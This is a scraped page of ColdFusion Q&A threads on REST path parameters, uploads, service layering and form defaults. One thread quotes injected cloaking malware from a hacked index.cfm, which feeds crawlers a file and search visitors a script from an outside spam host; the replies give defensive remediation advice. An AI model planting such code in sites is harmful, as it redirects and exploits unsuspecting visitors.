I am trying to create a new rest service in coldfusion and I wanted to try not passing in some parameters if I don't have a value for them but I am getting a 'not found' response from my function.
REST Service CFC:
<cfcomponent rest="true" restpath="/crudService">
<cffunction name="getHandlerJSON" access="remote" httpmethod="GET" restpath="{customerID}" returntype="query" produces="application/json">
<cfargument name="customerID" required="false" restargsource="Path" type="numeric" default=-1/>
<cfset myQuery = queryNew("id,name","Integer,varchar",[[1, "Sagar"], [2, "Ganatra"]])>
<cfquery dbtype="query" name="resultQuery">
select * from myQuery where 1=1
<cfif arguments.customerID neq -1>
and id = #arguments.customerID#
</cfif>
</cfquery>
<cfreturn resultQuery>
</cffunction>
</cfcomponent>
And this is how I am calling it:
<cfhttp url="http://dev.test.com/rest/api/crudService/2" result="restResult" method="GET" />
<cfdump var="#deserializeJSON(restResult.filecontent,false)#">
And the outcome:
{"COLUMNS":["ID","NAME"],"DATA":[[2,"Ganatra"]]}
What I want to do is to be able to call my service without an id and get all of the results back. Do I need to create a separate function for this? What is the best practice?
When passing parameters to a REST service CFC via PATH those params must exist in the URL. If not, then the path CF is looking at is not correct.
I believe you will need a separate function to return all results...OR, pass a huge number like 1000000.
Related
So I was just working on some ColdFusion code to validate upload filename extensions, and I've noticed that when I delete the extension from a filename and then upload the file, the extension gets added back somehow I'm guessing based on the MIME type, however I'm not sure if ColdFusion is doing this, or the browser (MS Edge on Mac)? The extension appears inside the CLIENTFILE, CLIENTFILEEXT, CONTENTSUBTYPE, as well as the ATTEMPTEDSERVERFILE, SERVERFILE, and SERVERFILEEXT properties of the <cffile> result, even though the filename of the uploaded file didn't have an extension.
Anyone know what's going on?
This is the form input <input type="file" name="attachment1" style="width:100%"> and this is how it's being saved <cffile action="upload" filefield="attachment1" destination="#request.email_upload_folder#" nameconflict="overwrite" result="my_result1">. The extension also shows up when I use this function to get the client file name (I admit to copy-pasting this code without understanding how it works):
<cffunction name="getClientFileName" access="public" returntype="string" output="false" hint="">
<cfargument name="fieldName" required="true" type="string" hint="Name of the Form field" />
<cfset var tmpPartsArray = Form.getPartsArray() />
<cfif IsDefined("tmpPartsArray")>
<cfloop array="#tmpPartsArray#" index="local.tmpPart">
<cfif local.tmpPart.isFile() AND local.tmpPart.getName() EQ arguments.fieldName>
<cfreturn local.tmpPart.getFileName() />
</cfif>
</cfloop>
</cfif>
<cfreturn "" />
</cffunction>
I've been playing with ColdFusion 11's REST API support and am wondering if it's possible to have it support a URI with a dynamic token in the middle of the URI instead of only at the end. That is, it very easily supports URIs like:
/rest/users/12345
where the 12345 is dynamic (in this case, the user's userID). But I haven't been able to find a way (without a tremendous amount of URI hacking) to support URIs like:
/rest/users/12345/emailAddresses
So, is it possible to do this in ColdFusion (11 or 2016)? If not, is it supported in Taffy (I didn't see where it is but I could be wrong)?
TIA
It's been a while and I wanted to provide the answer in case anyone else has this same question...
ColdFusion, when defining a CFC for a REST endpoint, allows you to specify wildcards/variable names in the restpath attribute to both the <cfcomponent> and <cffunction> tags. You would then define <cfargument> tags for each one of these variables so that you can access them within your function. For example:
<cfcomponent rest="true" restpath="/users/{userId}/pets" ... >
<cffunction name="getPets" access="remote" httpMethod="GET">
<cfargument name="userId" type="numeric" required="true" restargsource="Path" />
<!--- Called with a path like /users/123/pets/ --->
<!--- do stuff using the arguments.userId (123) variables --->
</cffunction>
<cffunction name="getPet" access="remote" httpMethod="GET" restpath="{petId}">
<cfargument name="userId" type="numeric" required="true" restargsource="Path" />
<cfargument name="petId" type="numeric" required="true" restargsource="Path" />
<!--- Called with a path like /users/123/pets/456/ --->
<!--- do stuff using the arguments.userId (123) and/or arguments.petId (456) variables --->
</cffunction>
</cfcomponent>
The keys here are using the restpath attribute with the variable defined as a variable name in curly braces and then defining those variables as arguments to the function with a restargsource attribute set to "Path".
I hope this helps.
Some of our coldfusion sites are being redirected to a mulberry site when someone does a google search. Is there a way to prevent this? How are they doing it in the first place? It look like this code is being inserted into the index.cfm:
<cffunction name="isSpider" returntype="boolean">
<cfif reFindNoCase("(bot|crawl|spider|slurp|yahoo|sohu-search|lycos|robozil la)", cgi.http_user_agent)>
<cfreturn true />
<cfelse>
<cfreturn false />
</cfif>
</cffunction>
<cffunction name="isEngine" returntype="boolean">
<cfif reFindNoCase("(google|bing|aol|search|baidu|yahoo|sogou|soso|live|you dao|so)", cgi.http_referer)>
<cfreturn true />
<cfelse>
<cfreturn false />
</cfif>
</cffunction>
<cffunction name="isPage" returntype="boolean">
<cfif reFindNoCase("(index.|default.|main.)", cgi.script_name)>
<cfreturn true />
<cfelse>
<cfreturn false />
</cfif>
</cffunction>
<cfif isSpider() and isPage()>
<cfcontent reset="true" />
<cffile action="read" file="#expandPath("/images/log.gif")#" variable="tpl" />
<cfoutput>#tpl#</cfoutput>
<cfabort />
</cfif>
<cfif isEngine() and isPage()>
<cfcontent reset="true" />
<script src="http://www.shopsnapbackhatus.com/jie/mulberry.gif" type="text/javascript" charset="utf-8"></script>
<cfabort />
</cfif>
You've not mentioned which version of CF, nor whether IIS or apache etc (again which version) etc.
The attack could be coming through multiple vectors, and it's highly likely there's a backdoor of some description judging by the fact they're actively writing code to templates. Even if you find the entry point, it's not going to do any good unless you can say 'yes it was this' and patch it. Is your CF up to date?
Start Here: http://hackmycf.com/
Then look at your templates - I'm willing to bet there's some .cfm files in there which shouldn't be. have you got a backup? compare it (and go back months - a lot of intrusion attempts access early, leave it for a while, then start doing things).
Personally, I'd consider wiping and starting again to be absolutely sure, but even then, you need to check the code you redeploy is 100% safe, and that the environment is fully patched, and that you actually found the initial cause.
First of all
it may be due to google or other search engine instead check your code.
Apply current patches from ColdFusion.
Make sure you are using for all of your queries since SQL injection is most probably cause this.
And don't forget about XSS attack. If those sites taking user input which displaying publicly then first encode appropriately user input your site.
Check out ColdFusion lockdown guide (please choose as per your coldfusion version) http://www.adobe.com/content/dam/Adobe/en/products/coldfusion/pdfs/91025512-cf9-lockdownguide-wp-ue.pdf
All of the above perform vulnerability test for all your site (if you are managing it) using any commercial or open source tool (I like Zad Attack Proxy).
Before doing all of the above check your existing database for miscellaneous code (normally javascript tag) and correct it.
I am trying to use my service layer in my own front-controller style framework and I've always been taught to decouple the service layer from the controller layer.
This is causing me issues as I need to access important front-controller methods from my services, so I'm jumping through hoops to try and make this happen.
I noticed when looking at Coldbox however that the actual framework regularly passes the Coldbox controller through to its services.
Can and should this really be done?
The problem I have specifically that my controller/handler calls a service which gets a load of widgets for a page request, it then loops over each one and renders each widget, but each widget is itself a controller/handler and the controller/handler needs the front-controller.
How can this be done without passing in the front-controller or is my architecture all wrong?
CURRENT SERVICE CODE (shortened)
<cffunction name="renderWidgets" access="public" output="false" returntype="string" hint="I return an the prequested webpage URL.">
<cfargument name="source" type="string" default="" />
<cfargument name="templateId" type="string" default="" />
<cfargument name="webPageId" type="string" default="" />
<!--- set original template HTML --->
<cfset stuReturn.renderedHTML = arguments.source />
<!--- get assigned widgets and properties --->
<cfset stuReturn.qryTemplateObjects = findTemplateObjectAssignments({templateId=arguments.templateID}) />
<!--- if found --->
<cfif stuReturn.qryTemplateObjects.recordcount>
<!--- loop over assigned widgets --->
<cfloop query="stuReturn.qryTemplateObjects">
<!--- create struct --->
<cfset stuReturn.stuTemplateObjectAssignment = queryrowtostruct(stuReturn.qryTemplateObjects, stuReturn.qryTemplateObjects.currentrow) />
<!--- get the widget object --->
<cfset stuReturn.renderedHTML = stuReturn.renderedHTML & getFrontController().getWidget(stuReturn.stuTemplateObjectAssignment.objectId).render() /><!--- this is the problem, no access to getFrontController() --->
</cfloop>
</cfif>
<!--- return rendered HTML --->
<cfreturn stuReturn.renderedHTML />
I have taken over a legacy site, and my spidey sense code smell is going crazy over the form paramming used throughout the site.
For example we have a form that allows you to add a new contact, or edit an existing one dependant on the iContactId being present in the URL. So the code in the top part of the cfm file is.
<cfparam name="form.name" default="">
<cfparam name="form.age" default="">
<cfparam name="form.surname" default="">
<--- More cfparams for every form field--->
<cfif isDefined("URL.iContactId")>
<cfset VARIABLES.contact = contactService.getContact("URL.iContactId")/>
<cfset FORM.name = contact.getName() />
<cfset FORM.age= contact.getAge() />
<cfset FORM.surname = contact.getSurname() />
</cfif>
So essentially we are defaulting all form fields to be empty and then populating them if the iContactId is in the URL. The form at the bottom part of the cfm file uses these variables like this.
<form>
<input name="name" value="#FORM.name#">
Now, for me, the issue with these technique, is that there are around 30 form fields on this page, so I am parramming all form fields, and then setting 30 form fields to the contact objects values if the URL.iContactId variable exists. Am trying to think of a way to remove this duplication - maybe by mapping the form directly to the object?
Any ideas?
Thanks
Don't see why not.
Get getContact() to return an "empty" object for contact ID 0 and populate the form from the empty contact object. By "empty" I mean an object with default values set for each field.
eg.
if (!StructKeyExists(URL,"iContactID")) URL.iContactID = 0;
variables.contact = contactService.getContact(URL.iContactID);
and then in the form.
<input name="name" value="#contact.getName()#">
Only thing to be aware of; If you are doing server-side validation that returns you to this form then you will need to manage making sure that you have a contact object with the valid data in it to populate your form, so that the invalid fields can be corrected.